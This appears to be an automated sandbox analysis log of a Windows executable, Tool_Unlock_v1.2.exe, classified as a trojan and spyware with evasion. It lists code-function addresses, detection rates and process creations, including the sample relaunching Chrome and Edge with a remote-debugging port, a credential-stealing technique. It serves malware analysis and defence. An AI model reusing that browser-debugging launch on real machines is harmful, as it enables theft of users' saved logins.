Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440711	3_2_00440711
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004407D1	3_2_004407D1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043C7F1	3_2_0043C7F1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00438791	3_2_00438791
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043E791	3_2_0043E791
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004207A1	3_2_004207A1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440871	3_2_00440871
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436811	3_2_00436811
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043E8D1	3_2_0043E8D1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043C891	3_2_0043C891
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004368B1	3_2_004368B1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043C941	3_2_0043C941
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436951	3_2_00436951
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00420951	3_2_00420951
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043E971	3_2_0043E971
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041E9C1	3_2_0041E9C1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043C9E1	3_2_0043C9E1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004369E1	3_2_004369E1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00420A11	3_2_00420A11
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440A31	3_2_00440A31
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440AE1	3_2_00440AE1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00420AF1	3_2_00420AF1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043EAB1	3_2_0043EAB1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043CB31	3_2_0043CB31
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043EBD1	3_2_0043EBD1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043CBF1	3_2_0043CBF1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00420BB1	3_2_00420BB1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440BB1	3_2_00440BB1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00420C51	3_2_00420C51
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440CE1	3_2_00440CE1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043ECF1	3_2_0043ECF1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043CD41	3_2_0043CD41
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00438D71	3_2_00438D71
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436D11	3_2_00436D11
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436DD1	3_2_00436DD1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043EDE1	3_2_0043EDE1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00424D91	3_2_00424D91
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440D91	3_2_00440D91
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043CE41	3_2_0043CE41
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043EE71	3_2_0043EE71
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436EC1	3_2_00436EC1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440EC1	3_2_00440EC1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041EE91	3_2_0041EE91
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00424EA1	3_2_00424EA1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043EF61	3_2_0043EF61
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00420F61	3_2_00420F61
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00424F61	3_2_00424F61
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041EF31	3_2_0041EF31
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00446FC0	3_2_00446FC0
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043CFD1	3_2_0043CFD1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00440FE1	3_2_00440FE1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00434F81	3_2_00434F81
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00436F91	3_2_00436F91
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041F061	3_2_0041F061
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043D071	3_2_0043D071
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F001	3_2_0043F001
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004210D1	3_2_004210D1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004410D1	3_2_004410D1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F0A1	3_2_0043F0A1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F171	3_2_0043F171
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043D101	3_2_0043D101
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004211C1	3_2_004211C1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004411D1	3_2_004411D1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041F1F1	3_2_0041F1F1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004051B1	3_2_004051B1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F261	3_2_0043F261
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043D221	3_2_0043D221
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004372C1	3_2_004372C1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004212C1	3_2_004212C1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004412E1	3_2_004412E1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043D341	3_2_0043D341
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00437351	3_2_00437351
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F321	3_2_0043F321
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041F331	3_2_0041F331
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004053F1	3_2_004053F1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F3F1	3_2_0043F3F1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00421391	3_2_00421391
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004413B1	3_2_004413B1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00441461	3_2_00441461
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043D471	3_2_0043D471
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00421431	3_2_00421431
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041F4C1	3_2_0041F4C1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F4C1	3_2_0043F4C1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00437481	3_2_00437481
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041F561	3_2_0041F561
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00437561	3_2_00437561
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00441511	3_2_00441511
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F581	3_2_0043F581
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004415B1	3_2_004415B1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00421641	3_2_00421641
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041F671	3_2_0041F671
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00405611	3_2_00405611
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F621	3_2_0043F621
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004216E1	3_2_004216E1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043D691	3_2_0043D691
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004356A1	3_2_004356A1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004376A1	3_2_004376A1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00437741	3_2_00437741
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00435761	3_2_00435761
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043D771	3_2_0043D771
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F701	3_2_0043F701
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041F721	3_2_0041F721
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00441721	3_2_00441721
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F7D1	3_2_0043F7D1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041F7F1	3_2_0041F7F1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004417F1	3_2_004417F1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00435811	3_2_00435811
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00421811	3_2_00421811
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00437831	3_2_00437831
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F8F1	3_2_0043F8F1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043D881	3_2_0043D881
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041F8B1	3_2_0041F8B1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004358B1	3_2_004358B1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004278B1	3_2_004278B1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004418B1	3_2_004418B1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041F971	3_2_0041F971
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00435971	3_2_00435971
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043D921	3_2_0043D921
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004219C1	3_2_004219C1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043F981	3_2_0043F981
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00441981	3_2_00441981
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00427991	3_2_00427991
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00441A51	3_2_00441A51
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00437A21	3_2_00437A21
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043DA21	3_2_0043DA21
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043FA21	3_2_0043FA21
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043FAC1	3_2_0043FAC1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043DAE1	3_2_0043DAE1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00421AF1	3_2_00421AF1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00427A81	3_2_00427A81
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00441B41	3_2_00441B41
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00427B21	3_2_00427B21
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043FBE1	3_2_0043FBE1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00441BF1	3_2_00441BF1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043DB91	3_2_0043DB91
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00437C01	3_2_00437C01
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041FC21	3_2_0041FC21
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043DC31	3_2_0043DC31
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00441CC1	3_2_00441CC1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043DCD1	3_2_0043DCD1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043FC81	3_2_0043FC81
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00427C81	3_2_00427C81
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00435D11	3_2_00435D11
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00437D21	3_2_00437D21
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043DDE1	3_2_0043DDE1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00437DF1	3_2_00437DF1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043FD81	3_2_0043FD81
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00441D91	3_2_00441D91
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041FDA1	3_2_0041FDA1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00441E61	3_2_00441E61
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041FE31	3_2_0041FE31
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00437EC1	3_2_00437EC1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043DED1	3_2_0043DED1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043FE81	3_2_0043FE81
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0043FF21	3_2_0043FF21
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00441F31	3_2_00441F31
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0041FF91	3_2_0041FF91
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00421FB1	3_2_00421FB1

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: String function: 0033FA60 appears 100 times
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: String function: 0034CFD6 appears 40 times
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: String function: 0033FAE4 appears 34 times
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: String function: 00340730 appears 38 times
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: String function: 003480F8 appears 42 times

Source: Tool_Unlock_v1.2.exe

Static PE information: invalid certificate

Source: Tool_Unlock_v1.2.exe, 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Tool_Unlock_v1.2.exe
Source: Tool_Unlock_v1.2.exe, 00000000.00000002.2034206682.00000000050F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Tool_Unlock_v1.2.exe
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Tool_Unlock_v1.2.exe
Source: Tool_Unlock_v1.2.exe	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Tool_Unlock_v1.2.exe

Source: Tool_Unlock_v1.2.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Tool_Unlock_v1.2.exe

Static PE information: Section: .bss ZLIB complexity 1.0003276909722223

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@67/277@27/18

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 3_2_0042A1D0 CreateToolhelp32Snapshot,Process32First,

3_2_0042A1D0

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\X6IPD3FC.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1996:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\85b086e2-50c8-4d46-bfc3-d9bb74b96090.tmp

Jump to behavior

Source: Tool_Unlock_v1.2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: H47GV3E3O.3.dr, 3ECBI589Z.3.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Tool_Unlock_v1.2.exe	ReversingLabs: Detection: 56%
Source: Tool_Unlock_v1.2.exe	Virustotal: Detection: 61%

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

File read: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe "C:\Users\user\Desktop\Tool_Unlock_v1.2.exe"
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Process created: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe "C:\Users\user\Desktop\Tool_Unlock_v1.2.exe"
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2976 --field-trial-handle=2668,i,7896781068982538067,1984520097457375725,262144 /prefetch:8
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2336,i,3397002458540084717,14806387222584576439,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2760 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6284 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6640 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6588 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:8
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Process created: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe "C:\Users\user\Desktop\Tool_Unlock_v1.2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2976 --field-trial-handle=2668,i,7896781068982538067,1984520097457375725,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2336,i,3397002458540084717,14806387222584576439,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2760 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
